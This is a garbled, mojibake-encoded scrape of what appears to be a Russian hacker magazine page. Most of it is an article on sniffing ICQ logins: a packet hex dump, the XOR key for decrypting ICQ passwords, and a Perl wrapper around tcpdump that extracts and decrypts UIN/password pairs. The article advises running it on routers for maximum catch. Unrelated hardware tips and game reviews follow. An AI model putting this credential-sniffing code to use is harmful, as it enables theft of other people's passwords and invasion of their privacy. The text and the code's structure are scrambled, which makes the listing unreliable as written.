0x0000 4500 00af 0701 4000 8006 7c37 c0a8 ae02 E.....@...|7....<br />

0x0010 400c c859 0427 1446 001b 367c 4530 25f2 @..Y.'.F..6|E0%.


0x0020 5018 2526 11d0 0000 2a01 7aa9 0081 0000 P.%&....*.z.....<br />

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.<br />

0x0040 0200 03c2 14b2 0003 0033 4943 5120 496e .........3ICQ.In<br />

0x0050 632e 202d 2050 726f 6475 6374 206f 6620 c..-.Product.of.<br />

0x0060 4943 5120 2854 4d29 2e32 3030 3062 2e34 ICQ.(TM).2000b.4<br />

0x0070 2e36 302e 312e 3332 3738 2e38 3500 1600 .60.1.3278.85...<br />

0x0080 0201 0a00 1700 0200 0400 1800 0200 3c00 ..............


Êîäèíã<br />

ÏÅÐÅÕÂÀÒ ICQ ÏÀÐÎËÅÉ<br />

Êîíñòàíòèí Êëÿãèí http://konst.org.ua<br />

Íå çàáóäåì çàïèñàòü òåêñò ïðîãðàììû â ôàéë è âûïîëíèòü "chmod +x ",<br />

÷òîáû â èòîãå äàòü ïðàâà äëÿ åãî çàïóñêà.<br />

Âñå âåðíî, ïàðîëè øèôðóþòñÿ ïðè ïîìîùè XOR ñ îäíîé è òîé æå ìàñêîé. Âîò âûâîä:<br />

rightpass2 = abcd<br />

rightpass3 = 123<br />

xor sequence: \xf3\x26\x81\xc4\x39\x86<br />

Òàêîé ôèíò óøàìè ïîçâîëèë íàì âûÿñíèòü ïîçèöèîííî-çàâèñèìûå ÷èñëà, èñïîëüçóåìûå<br />

äëÿ îïåðàöèè xor ñ øåñòüþ ïåðâûìè ñèìâîëàìè. Äëÿ ðàñøèôðîâêè ïàðîëåé ëþáîé<br />

äëèíû, âïëîòü äî ìàêñèìàëüíîé, ïîñìîòðèì íà ëîãèí-ïàêåò, ñîäåðæàùèé âîñüìèñèìâîëüíûé<br />

ïàðîëü (ICQ äëÿ Windows íå äàåò ââîäèòü áîëüøå âîñüìè ñèìâîëîâ).<br />

Ñëåäóÿ óæå ïðèâû÷íîé ñõåìå, ïîäñòàâèì åãî â òåêñò ïðîãðàììû (ïåðåìåííàÿ<br />

$pass1), à ðàñøèôðîâàííûé âàðèàíò - â $rightpass1. Èòîã - ïîñëåäîâàòåëüíîñòü áàéò<br />

"\xf3\x26\x81\xc4\x39\x86\xdb\x92". Çíàÿ åå, ìîæíî ëåãêî ðàñøèôðîâàòü ëþáîé ICQïàðîëü.<br />

Çíàíèå - ñèëà :).<br />

Ñîáñòâåííî è ñàì ñíèôåð ICQ-ïàðîëåé<br />

Îáû÷íî íàïèñàíèå êàêîãî-òî ñïåöèôè÷åñêîãî ñíèôåðà, îñîáåííî â ïåðâûé ðàç - çàíÿòèå<br />

íå èç ëåãêèõ. Âåäü ïðåæäå âñåãî íóæíî ðàçîáðàòüñÿ â ñèñòåìíûõ âûçîâàõ, ïðåäíàçíà÷åííûõ<br />

äëÿ óïðàâëåíèÿ ñåòåâûìè èíòåðôåéñàìè. Çàòåì íàïèñàòü íàáîð ôóíêöèé<br />

äëÿ âû÷èòûâàíèÿ ïðîõîäÿùåãî òðàôèêà, ôèëüòðóÿ ïðè ýòîì òîëüêî íóæíûå ïàêåòû<br />

ïî îïðåäåëåííûì ïðèçíàêàì. Ìîæíî âçÿòü áèáëèîòåêó libpcap è íà÷àòü ðàçáèðàòüñÿ<br />

ñ íåé. Òîò åùå íàïðÿã. Òàêîé ïîäõîä ìîæåò èñïîðòèòü âñå âïå÷àòëåíèå îò ñíèôèíãà<br />

êàê òàêîâîãî è ðàñòÿíóòü ïðîöåññ íàïèñàíèÿ íà íåîïðåäåëåííîå âðåìÿ. Ïîýòîìó<br />

ìû ïîñòóïèì íåñêîëüêî èíà÷å.<br />

Âçàìåí ïðåäëàãàåòñÿ èñïîëüçîâàòü çíàêîìûé ñòàíäàðòíûé è óäîáíûé èíñòðóìåíò<br />

- tcpdump, êîòîðûé ñîäåðæèò â ñåáå âñå íåîáõîäèìûå ôóíêöèè äëÿ ïåðåõâàòà<br />

òðàôèêà. Íàì äàæå íå ïðèäåòñÿ êîïàòüñÿ â åãî èñõîäíèêàõ. Äåëî â òîì, ÷òî<br />

ñ ïîìîùüþ îäíîãî ïîëåçíîãî ïàðàìåòðà êîìàíäíîé ñòðîêè (-w) ìîæíî ñäåëàòü<br />

òàê, ÷òî âåñü íóæíûé òðàôèê áóäåò âûâîäèòüñÿ â âèäå ïîòîêà â ôàéë èëè íà ñòàíäàðòíîå<br />

óñòðîéñòâî âûâîäà (òåðìèíàë). Àáñîëþòíî íåïðèåìëåìî äëÿ ïðîñìîòðà<br />

"âðó÷íóþ", ãäå ðåæèì hex âûãëÿäèò ãîðàçäî ïðèÿòíåå, íî äëÿ àâòîìàòè÷åñêîãî<br />

àíàëèçà - ñàìîå îíî.<br />

Òî, ÷òî ìû íàïèøåì, áóäåò ïðîãðàììîé-íàäñòðîéêîé íàä tcpdump, ÷èòàþùåé âûâîä<br />

ïîñëåäíåãî. Áóðæóè íàçûâàþò ýòî front-end. Ïðè îáíàðóæåíèè ëîãèí-ïàêåòà,<br />

ñîäåðæèìîå åãî áóäåò ðàçîáðàíî, è ïàðà UIN/ïàðîëü "âûêóøåíà" è ïîêàçàíà.<br />

Îïÿòü æå, ÿçûê ðåàëèçàöèè âûáåðåì ïî ïðèçíàêó óäîáñòâà àíàëèçà ñòðîê - Perl.<br />

Áëàãîäàðÿ ïîääåðæêå ðåãóëÿðíûõ âûðàæåíèé, "îòëîâ" ïàêåòà â íåì áóäåò çàíèìàòü<br />

âñåãî îäíó ñòðî÷êó.<br />

Ãîòîâûé ñíèôåð çàíèìàåò 37 ñòðîê. Êðàòêèé îáçîð åãî æèçíåäåÿòåëüíîñòè:<br />

1. open(DUMP, ..) çàïóñêàåò tcpdump ñ íóæíûìè íàì ïàðàìåòðàìè. Ñèìâîë "|" â êîíöå<br />

êîìàíäû ãîâîðèò, ÷òî âûâîä ïðîãðàììû áóäåò ïåðåíàïðàâëåí è àññîöèèðîâàí ñ<br />

ñèìâîëîì DUMP, êîòîðûé âåäåò ñåáÿ êàê îáû÷íûé ôàéë, îòêðûòûé íà ÷òåíèå. Åñëè<br />

çàïóñê íå óäàëñÿ, êîíñòðóêöèÿ "or die" çàâåðøèò âûïîëíåíèå ïðîãðàììû ñ óêàçàííûì<br />

ñîîáùåíèåì îá îøèáêå.<br />

2. Âåñü ïðîöåññ âûïîëíÿåòñÿ âíóòðè öèêëà while(!eof(DUMP)) - ïîêà íå çàâåðøèòñÿ<br />

ïðîãðàììà, êîòîðàÿ çàêðîåò çà ñîáîé è ïîòîê DUMP.<br />

3. Ïîòîê âû÷èòûâàåòñÿ ïîñèìâîëüíî ñ ïîìîùüþ ôóíêöèè getc(). Âñå ïîëó÷åííûå áàéòû<br />

ñêëàäûâàþòñÿ â áóôåð - $buf. Êàê òîëüêî â íåì îáíàðóæèâàåòñÿ ëîãèí-ïàêåò, ñðàáàòûâàåò<br />

if(), êîòîðûé ïðîâåðÿåò ñîîòâåòñòâèå íàêîïëåííîé ïîñëåäîâàòåëüíîñòè ðåãóëÿðíîìó<br />

âûðàæåíèþ, ïîñòðîåííîìó íà îñíîâå ñîáðàííîé íàìè âûøå èíôîðìàöèè<br />

î ïðîòîêîëå. "Ïðèâÿçûâàåòñÿ" îíî ê ñèãíàòóðå â êîíöå è ê íåèçìåííûì áàéòàì â íà-<br />

÷àëå ïàêåòà, çà êîòîðûìè ñëåäóåò UIN.<br />

"\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ<br />

\(TM\)$"<br />

4. Âçÿòûå â ñêîáêè ÷àñòè âûðàæåíèÿ àâòîìàòè÷åñêè ïîìåùàþòñÿ â ïîçèöèîííî-çàâèñèìûå<br />

ïåðåìåííûå $1 è $2. UIN è ïàðîëü ó íàñ â êàðìàíå. Äëÿ ðàñøèôðîâêè ïîñëåäíåãî<br />

èìååòñÿ íåáîëüøàÿ ôóíêöèÿ decryptpassword(), íàïèñàííàÿ ïî ìîòèâàì íàøèõ<br />

ýêñïåðèìåíòîâ ñ xor âî âðåìÿ ðàçáîðà ñòðóêòóðû ïðîòîêîëà.<br />

5. Ïîñëå ïîêàçà îòëîâëåííîãî ïàðîëÿ, áóôåð î÷èùàåòñÿ è çëîáíûé ñíèôåð ïðîäîëæàåò<br />

ðàáîòó, ëèøàÿ çàêîíîïîñëóøíûõ ãðàæäàí ïðèâàòíîñòè è âåðû â ñïðàâåäëèâîñòü.<br />

Ðàçáîð ïîëåòîâ<br />

Ïî áîëüøîìó ñ÷åòó ïðîäåìîíñòðèðîâàííûé ïîäõîä ê àíàëèçó ñåòåâîãî òðàôèêà ìîæíî<br />

ïðèìåíèòü ïî îòíîøåíèþ ê ëþáîìó ïðîòîêîëó. Ñ ïîìîùüþ ïîäîáíûõ íàäñòðîåê<br />

ìîæíî îòëàâëèâàòü íå òîëüêî ïàðîëè, íî è ñîîáùåíèÿ, êîíòàêòû, øèôðîâêè, ÿâêè è<br />

àäðåñà êîíñïèðàòèâíûõ êâàðòèð. Âñå, î ÷åì íóæíî ïîçàáîòèòüñÿ, ýòî ïðàâèëüíîå ðåãóëÿðíîå<br />

âûðàæåíèå è ïàðàìåòð-óñëîâèå äëÿ tcpdump.<br />

Äëÿ äîñòèæåíèÿ õîðîøèõ ðåçóëüòàòîâ, âåëè÷èíà êîòîðûõ ïðÿìî ïðîïîðöèîíàëüíà êîëè-<br />

÷åñòâó îòëîâëåííûõ ïàðîëåé, ïðîãðàììó æåëàòåëüíî çàïóñêàòü íà ìàøèíàõ, âûïîëíÿþùèõ<br />

â ñåòè ðîëü ðîóòåðà, è ÷åðåç êîòîðûå ïðîõîäèò ìàêñèìàëüíûé ñåòåâîé òðàôèê. Ñ äðóãîé<br />

ñòîðîíû, ïðè îïðåäåëåííîé êîíôèãóðàöèè âíóòðåííåé èíòðàíåò-ñåòè, ñíèôåð ìîæíî<br />

ïîñòàâèòü ïðîñòî íà îäíîé èç ìàøèí, è îí òîæå áóäåò íåïëîõî ñïðàâëÿòüñÿ ñî ñâîåé ðàáîòîé,<br />

òàê êàê âåñü òðàôèê áóäåò äîñòóïåí íà ñåòåâîì èíòåðôåéñå êàæäîé<br />

èç ðàáî÷èõ ñòàíöèé â ñåòè. Òàêîå ïðîèñõîäèò òîëüêî â òîì ñëó÷àå, åñëè âñå<br />

ðàáî÷èå ñòàíöèè è øíóð îò ISP çàâÿçàíû äðóã ñ äðóãîì ÷åðåç HUB. Òàê ÷òî<br />

ýêñïåðèìåíòèðóé, íàõîäè íîâûå ìåòîäû àíàëèçà òðàôèêà!<br />

84<br />

#!/usr/bin/perl<br />

sub decryptpassword {<br />

my ($pass) = @_;<br />

}<br />

my $res = "";<br />

my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";<br />

for(my $i = 0; $i < length($pass); $i++) {<br />

$res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));<br />

}<br />

return $res;<br />

my $buf;<br />

open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst host login.icq.com'|")<br />

or die "cannot run tcpdump(8)";<br />

while(!eof(DUMP)) {<br />

$buf .= getc(DUMP);<br />

if($buf =~ m/\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ<br />

Inc. - Product of ICQ \(TM\)$/) {<br />

my $uin = $1;<br />

my $pass = decryptpassword($2);<br />

}<br />

}<br />

close(DUMP);<br />

print "found. $uin :: $pass\n";<br />

$buf = "";<br />

Tips&Tricks<br />

×òî äåëàòü, åñëè øóìèò<br />

âåíòèëÿòîð?<br />

Ñîâåò ïåðâûé. Ñàìûé òðèâèàëüíûé.<br />

Îòâèíòèòü âåíòèëÿòîð îò<br />

áëîêà ïèòàíèÿ. Ñíÿòü íàêëåéêó.<br />

Ïî÷èñòèòü îò ïûëè è çàëèòü æèäêîå<br />

ìàøèííîå ìàñëî (òîëüêî íå<br />

ïîäñîëíå÷íîå), íå çàáûòü ïî÷èñòèòü<br />

ìåæäó ïðîïåëëåðîì è êîðïóñîì.<br />

Ìàñëà íàëèòü íå âåäðî, à<br />

íåñêîëüêî êàïåëü. Èíîãäà áûâàåò,<br />

÷òî âèíò ñòó÷èò î êîðïóñ, òîãäà<br />

ëîïàñòè ìîæíî ÷óòîê ïîäïèëèòü.<br />

Ñîâåò âòîðîé. Ñàìûé ïðàêòè÷íûé.<br />

Íè÷åãî îòâèí÷èâàòü íå íàäî.<br />

Íàäî âçÿòü øïðèö ñ èãîëêîé.<br />

Íàïîëíèòü åãî ìàñëîì. Ïîòîì<br />

íàäî èãîëêîé ïðîòêíóòü íàêëåéêó<br />

è ïëàñòìàññîâóþ ïðîáêó ïîä íåé.<br />

Ïîíàäîáèòñÿ íåêîòîðîå óñèëèå.<br />

Ââåñòè ïîä ïðîáêó ìàñëî. Âñå.<br />

Íèêàêèõ âèíòîâ-ðàçáîðîê-ñáîðîê<br />

è âñåãî ïðî÷åãî. Ðàçóìååòñÿ, ýòî<br />

ñðàáîòàåò íå âî âñåõ ñëó÷àÿõ.<br />

Áûâàåò, ÷òî ñåðåäèíêà âåíòèëÿòîðà<br />

ñ íàêëåéêîé è ïðîáêîé<br />

ñêðûòà ïîä ðåøåòêîé êîðïóñà. Â<br />

ýòîì ñëó÷àå ìîæíî ïîïðîáîâàòü<br />

îòâèíòèòü òîëüêî áëîê ïèòàíèÿ -<br />

ýòî ïðîùå, ÷åì ðàçáèðàòü âñå,<br />

âïëîòü äî âåíòèëÿòîðà.<br />

Åâãåíèé Çàòîëîêèí<br />

Evgen_shrek@mail.ru<br />

Õî÷åøü óâèäåòü ñâîè ñîâåòû â<br />

æóðíàëå? Ïðèñûëàé èõ íà àäðåñ<br />

Sklyarov@real.xakep.ru. Âåäóùèé<br />

ðóáðèêè Tips&Tricks Èâàí Ñêëÿðîâ.


Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Þíèòû<br />

ÇÀË ÑÓÄÀ<br />

Stepan Ilyin aka Step (step@real.xakep.ru)<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ßäåðíûé òèòáèò<br />

Armored Assault<br />

Online òàíêîâûé ñèìóëÿòîð<br />

Òàêîãî åùå íå áûëî :)<br />

The Total Sim Series/<br />

iEntertainment Network<br />

P2-400(P3-600), 128(256), 3D<br />

Èíåò<br />

Îíëàéíîâûé òàíêîâûé ñèìóëÿòîð -<br />

ïîæàëóé, òàêîãî ìû åùå íå âèäåëè.<br />

Èäåÿ íåïëîõàÿ, íî âîò ðåàëè-<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />

Eternal War: Shadows of lights<br />

FPS<br />

Quake, Heretic<br />

Two Guys Software<br />

P166(P2-300), 64(128)<br />

LAN, Èíåò<br />

Íåóäà÷íàÿ êîìáèíàöèÿ Quake’à<br />

è Heretic’à. Íà÷èíàÿ èãðó, íåâîëüíî<br />

çàäóìûâàåøüñÿ: «Ìîæåò,<br />

êòî-òî îøèáñÿ è ïîäñóíóë<br />

ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />

Adventure<br />

ÃÝÃ<br />

VZ.lab/Áóêà<br />

P2-400(P3-800), 128(256), 3D<br />

Îáîìèñü<br />

Ïðåêëîíèì ãîëîâû ïåðåä Âåëè÷àéøèì<br />

Ãóìàíèñòîì Âñåõ Âðåìåí è Íàðîäîâ<br />

èáî åãî Äåòèùå ïðèøëî â ýòîò<br />

ìèð. ßäåðíûé Òèòáèò îò íåñðàâíåí-<br />

ÏÐÈÃÎÂÎÐ ÀËËÈËÓÉß!<br />

Splinter Cell<br />

Praetoreans<br />

RTS<br />

WH: Dark Omen, Medieval<br />

Pyro Studios/Eidos Interactive<br />

P3-500(P3-800), 128(256), 3D<br />

LAN, Èíåò<br />

Ðàçðàáîò÷èêè ãðîçèëèñü ïðåäñòàâèòü<br />

íàì òàêòè÷åñêèé ñèìóëÿòîð,<br />

ïîîáåùàâ èãðîêàì ïîëíîå<br />

èçáàâëåíèå îò ìèêðîìåíåäæ-<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

Øóòåð îò 3-ãî ëèöà<br />

Thief, Metal Gear Solid<br />

Ubi Soft Montreal/Ubi Soft<br />

P3-800, 256(512), 3D<br />

Îáëîìèñü<br />

Splinter Cell - ïðèÿòíûé ñþðïðèç<br />

íà èãðîâîé ñöåíå. Òàêîé êà-<br />

÷åñòâåííîé ðåàëèçàöèè øïèîíñêîãî<br />

ñèìóëÿòîðà, ïîæàëóé, íå<br />

ÏÐÈÃÎÂÎÐ ÐÓËÅ(Ç)!<br />

íîãî, íåïîäðàæàåìîãî è íåèçëå÷èìî<br />

áîëüíîãî Äàíè Øåïîâàëîâà ýòî òî,<br />

÷òî ñîðâåò òåáå êðûøó ðàç è íàâñåãäà.<br />

Ñþæåò, äâèæîê è ïðî÷èå îñîáåííîñòè<br />

îïèñûâàòü áåññìûñëåííî: âåäü<br />

òû âñå ðàâíî êóïèøü ýòó èãðó. Ïîòîìó<br />

÷òî òîëüêî íàëè÷èå ýòîãî ñâÿùåííîãî<br />

äèñêà ïîñëóæèò òåáå áèëåòîì â<br />

æèçíü, êîãäà çåìëþ çàõâàòÿò èíòåëëåêòóàëüíûå<br />

íåéðî-êèáîðãè.<br />

ìíå íåóäà÷íóþ èãðóøêó âîñüìèëåòíåé<br />

äàâíîñòè?» Ïî êðàéíåé<br />

ìåðå, âñå óêàçûâàåò èìåííî<br />

íà ýòî. Äâèæîê, ãðàôèêà, êà-<br />

÷åñòâî çâóêà - âñå íà óðîâíå<br />

ïðîøëîãî âåêà. Äîáàâü ê ýòîìó<br />

òóïåéøèé ñòîðèëàéí, ðàñêðûâàþùèéñÿ<br />

â äåñÿòè ñòðî÷êàõ òåêñòà,<br />

è æåëàíèå èãðàòü ïðîïàäåò<br />

íàïðî÷ü.<br />

æäàë íèêòî. Çäåñü è êðàñèâûé<br />

äâèæîê, è îòëè÷íûé ñöåíàðèé,<br />

êîòîðûé ïðåäóñìàòðèâàåò íåñêîëüêî<br />

ñïîñîáîâ ïðîõîæäåíèÿ<br />

êàæäîé ìèññèè, è íåâåðîÿòíî<br />

óäîáíîå óïðàâëåíèå. Ñëàáîå<br />

ìåñòî èãðû - âèäåîðîëèêè, íî<br />

äàæå èõ ïîõàáíàÿ ðåàëèçàöèÿ<br />

íå ïîðòèò îáùåå âïå÷àòëåíèå<br />

îò èãðû.<br />

çàöèÿ ÿâíî ïîäêà÷àëà. Íåñìîòðÿ<br />

íà òî, ÷òî ðàçðàáîò÷èêè âîñïðîèçâåëè<br />

ëèøü îäèí êëàññ òàíêîâ, ëèäåð<br />

ñðåäè íèõ ÷åòêî âûäåëÿåòñÿ,<br />

ñîîòâåòñòâåííî íà äðóãèõ òàíêàõ<br />

åçäÿò ëèøü íåîïûòíûå íîâè÷êè.<br />

Óïðàâëåíèå ðåàëèçîâàíî óæàñíî:<br />

öåëèòüñÿ, äàæå ñ ïîìîùüþ äæîéñòèêà,<br />

î÷åíü ñëîæíî. À ìîäåìíîãî<br />

êàíàëà äëÿ èãðû ÿâíî íå õâàòàåò...<br />

ìåíòà è ðåñóðñîâ. Îäíàêî ïîëó-<br />

÷èëîñü ÷òî-òî ñòðàííîå. Îñòàëèñü<br />

è ðåñóðñû, è ïåðñîíàëüíûå<br />

óêàçàíèÿ þíèòàì, à âîò ýëåìåíòû<br />

òàêòèêè íå âïå÷àòëÿþò. Þíèòîâ<br />

ñëèøêîì ìíîãî, ÷òîáû èìè<br />

îñìûñëåííî óïðàâëÿòü. Òåì íå<br />

ìåíåå, ïëîõîé èãðó íå íàçîâåøü.<br />

Âñå íà óðîâíå, îñîáåííî<br />

ãðàôèêà.<br />

86 Íüþñû 1<br />

Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


÷òî ìû óæå âèäåëè. Íè êàïëè<br />

ôàíòàçèè. Èç íîâåíüêîãî: íåñêîëüêî<br />

ëèíåéíûõ êàìïàíèé, íå<br />

îòëè÷àþùèõñÿ ðàçíîîáðàçèåì, è<br />

ïàðî÷êà íèêîìó íå íóæíûõ ãðà-<br />

Indusry Giant II: 1820-2020 Addon<br />

ôèêîâ è äèàãðàìì â ðàçäåëå<br />

«Ýêîíîìèêà». Ñîâåòóþ òîëüêî<br />

Ýêîíîìè÷åñêèé ñèìóëÿòîð<br />

Industry Giant 2<br />

JoWood Productons/Ðóññîáèò-Ì<br />

P2-400(P3-600), 64(128), 3D<br />

LAN, Èíåò<br />

Åùå îäèí ïðèìåð òîãî, êàê ðàçðàáîò÷èêè<br />

ñòðåìÿòñÿ äåëàòü<br />

äåíüãè, ïðèëîæèâ ìèíèìóì óñèëèé<br />

è çàñòàâëÿÿ íàñ èãðàòü â òî,<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ëþáèòåëÿì æàíðà, åùå íå óñïåâøèì<br />

ïîçíàêîìèòüñÿ ñ ïåðâîé<br />

÷àñòüþ èãðû.<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />

áîòó ïî êîëîíèçàöèè ïëàíåò,<br />

ïîñòðîéêå àðìèè, óïðàâëåíèþ<br />

íàó÷íûìè èññëåäîâàíèÿìè íà<br />

ïëå÷è èñêóññòâåííîãî èíòåëëåêòà,<br />

ðàçðàáîò÷èêè ÿâíî ïåðåáîðùèëè.<br />

Áûâàëûå èãðîêè, ìàòåðÿñü,<br />

áîðþòñÿ ñ èäèîòèçìîì AI,<br />

à íîâè÷êè ëèøü æìóò êíîïêó<br />

«Ñëåäóþùèé õîä». È â ÷åì òóò<br />

ïðèêîë?<br />

5 6 7 8<br />

Þíèêñîèä Õ-Ñòèëü Êîäèíã<br />

Master Of Orion 3<br />

Ïîøàãîâàÿ ñòðàòåãèÿ<br />

Ñåðèÿ MoO<br />

Quicksilver Software/Infogrames<br />

P2-300(P3-600), 128(256)<br />

LAN, Èíåò<br />

Îïèñàòü ñèêâåë èçâåñòíåéøåé<br />

èãðû ìîæíî îäíèì ñëîâîì -<br />

ÔÈÃÍß.  ñòðåìëåíèè îáëåã÷èòü<br />

èãðó, âçâàëèâ âñþ ðóòèííóþ ðà-<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ


ÇÀË ÑÓÄÀ<br />

Stepan Ilyin aka Step (step@real.xakep.ru)<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Harbinger<br />

Action/RPG<br />

Crusader, Diablo<br />

Dreamcatcher/Silverback Entertainment<br />

P3-500(P3-800), 128, 3D<br />

Îáëîìèñü<br />

Îáû÷íàÿ, íè÷åì íå âûäåëÿþùàÿñÿ<br />

RPG. Öåëü ãåðîÿ îäíà - âûðåçàòü<br />

íå÷èñòü íà î÷åðåäíîì óðîâíå,<br />

ïîïóòíî âûïîëíèâ êàêîå-íè-<br />

ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Þíèòû<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Freelancer<br />

Ãëàç Äðàêîíà<br />

Action/RPG<br />

Magic Carpet<br />

Primal Soft/Àêåëëà<br />

P3-600(P3-1000), 128(256), 3D<br />

Îáëîìèñü<br />

Ñìåñü àæ òðåõ æàíðîâ. RTS,<br />

âîçäóøíîãî ýêøåíà è ðîëåâèêà<br />

íà ôýíòåçèéíóþ òåìó. Òàêàÿ<br />

âîò ñáîðíàÿ ñîëÿíêà, íà óäèâ-<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

Apache Air Assault<br />

Âåðòîëåòíàÿ ëåòàëêà<br />

SAR: Vietnam MedEvac<br />

InterActive Vision/Activision<br />

P2-400(P3-600), 96(127), 3D<br />

Îáëîìèñü<br />

Óáîãàÿ âåðòîëåòíàÿ ëåòàëêà, ïîÿâèâøàÿñÿ<br />

ÿâíî íå âîâðåìÿ. Äóìàþ,<br />

ëåò ïÿòü íàçàä â íåå åùå ìîæíî<br />

áûëî áû ïîèãðàòü, íî ñåé÷àñ...<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />

3D space arcade<br />

Tachyon, Privateer 2<br />

Digital Anvil/Microsoft Game Studios<br />

P3-600(P3-1300), 128(256), 3D<br />

LAN, Èíåò<br />

Î÷åðåäíàÿ àðêàäà íà êîñìè÷åñêóþ<br />

òåìó. Ïåðâîå âïå÷àòëåíèå<br />

îò èãðû - ñóïåð! Îùóùåíèå àòìîñôåðû<br />

ïåðåäàíî áåñïîäîáíî.<br />

ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />

Bovine Spongiforme Enzephalitis<br />

Arcade shooting<br />

Birdie Shoot<br />

Modern Games/Modern Games<br />

P166(P2-266), 32(64), 3D<br />

Îáëîìèñü<br />

Ñîãëàñåí, òåìà êîðîâüåãî áåøåíñòâà<br />

áîëåçíè Êðîéöôåëäòàßêîáà<br />

êîãäà-òî áûëà àêòóàëüíà...<br />

Íî íå íàñòîëüêî æå, ÷òîáû<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />

Çäåñü è îáàëäåííî êðàñèâûå òóìàííîñòè,<br />

è ñâåðõìîùíûå êîðàáëè,<br />

óêîìïëåêòîâàííûå ïî ñàìîå<br />

«íå õî÷ó» òåõíèêîé, î êîòîðîé<br />

ïîêà äàæå è íå ìå÷òàþò.<br />

Òåì íå ìåíåå, õâàòàåò ýòîãî<br />

äîáðà íåíàäîëãî. Íåò èçþìèíêè,<br />

ïîëó÷èëàñü âñåãî ëèøü î÷åðåäíàÿ<br />

èãðà íà îäèí äåíü. À<br />

æàëü...<br />

ëåíèå, âûãëÿäèò âåñüìà äîñòîéíî.<br />

Òåáå (êñòàòè íå êàêîìóòî<br />

òàì ìóæèêó ñ äóáèíîé, à âåëè÷åñòâåííîìó<br />

äðàêîíó) ïðåäñòîèò<br />

çàùèòèòü óìèðàþùåå êîðîëåâñòâî<br />

îò ñèëüíåéøåãî íàòèñêà<br />

íåæèòè. Èãðóøêà ìíå<br />

ëè÷íî î÷åíü ïîíðàâèëàñü. Õîòÿ<br />

äî êîíöà ÿ åå íå ïðîøåë. Íàäîåëî...<br />

:(<br />

áóäü íåîðèãèíàëüíîå çàäàíèå.<br />

Ïîñëåäíèå, â ïðèíöèïå, äðóã îò<br />

äðóãà íå îòëè÷àþòñÿ. Äîñòàâü<br />

ïðåäìåò òóäà, óíè÷òîæü òîãî è<br />

ò.ï. Áåñêîíå÷íàÿ ïàëüáà âî âñå<br />

÷åòûðå ñòîðîíû äî ñàìîãî ôèíàëà<br />

è ìèíèìóì îáùåíèÿ ñ NPC -<br />

òàêîâà ñóðîâàÿ äåéñòâèòåëüíîñòü<br />

èãðû. Ôèãíÿ äëÿ ðåëàêñàöèè, íå<br />

áîëüøå!<br />

Ëó÷øå íå ñòîèò. Íàïðî÷ü çàáûòû<br />

ëþáûå ïîíÿòèÿ îá àýðîäèíàìè÷åñêèõ<br />

äèñöèïëèíàõ. Ìîäåëè âåðòîëåòîâ<br />

èñêîâåðêàíû äî áåçîáðàçèÿ.<br />

Ñþæåò ïðÿìîëèíååí, êàê ðåëüñû<br />

Áàéêàëî-Àìóðñêîé ìàãèñòðàëè -<br />

çàáëóäèòüñÿ ïðàêòè÷åñêè íåâîçìîæíî.<br />

Ïðî äâèæîê è ãîâîðèòü íå<br />

õî÷åòñÿ. Ó íàñ ïåðâîêóðñíèêè òåõíè÷åñêèõ<br />

âóçîâ ëó÷øå ñäåëàþò.<br />

äåëàòü î íåé èãðóøêè. Òåì áîëåå,<br />

êëàññè÷åñêèå ìèíè-øóòåðû.<br />

Ìîæåò êîãî-òî èäåÿ îòñòðåëèâàòü<br />

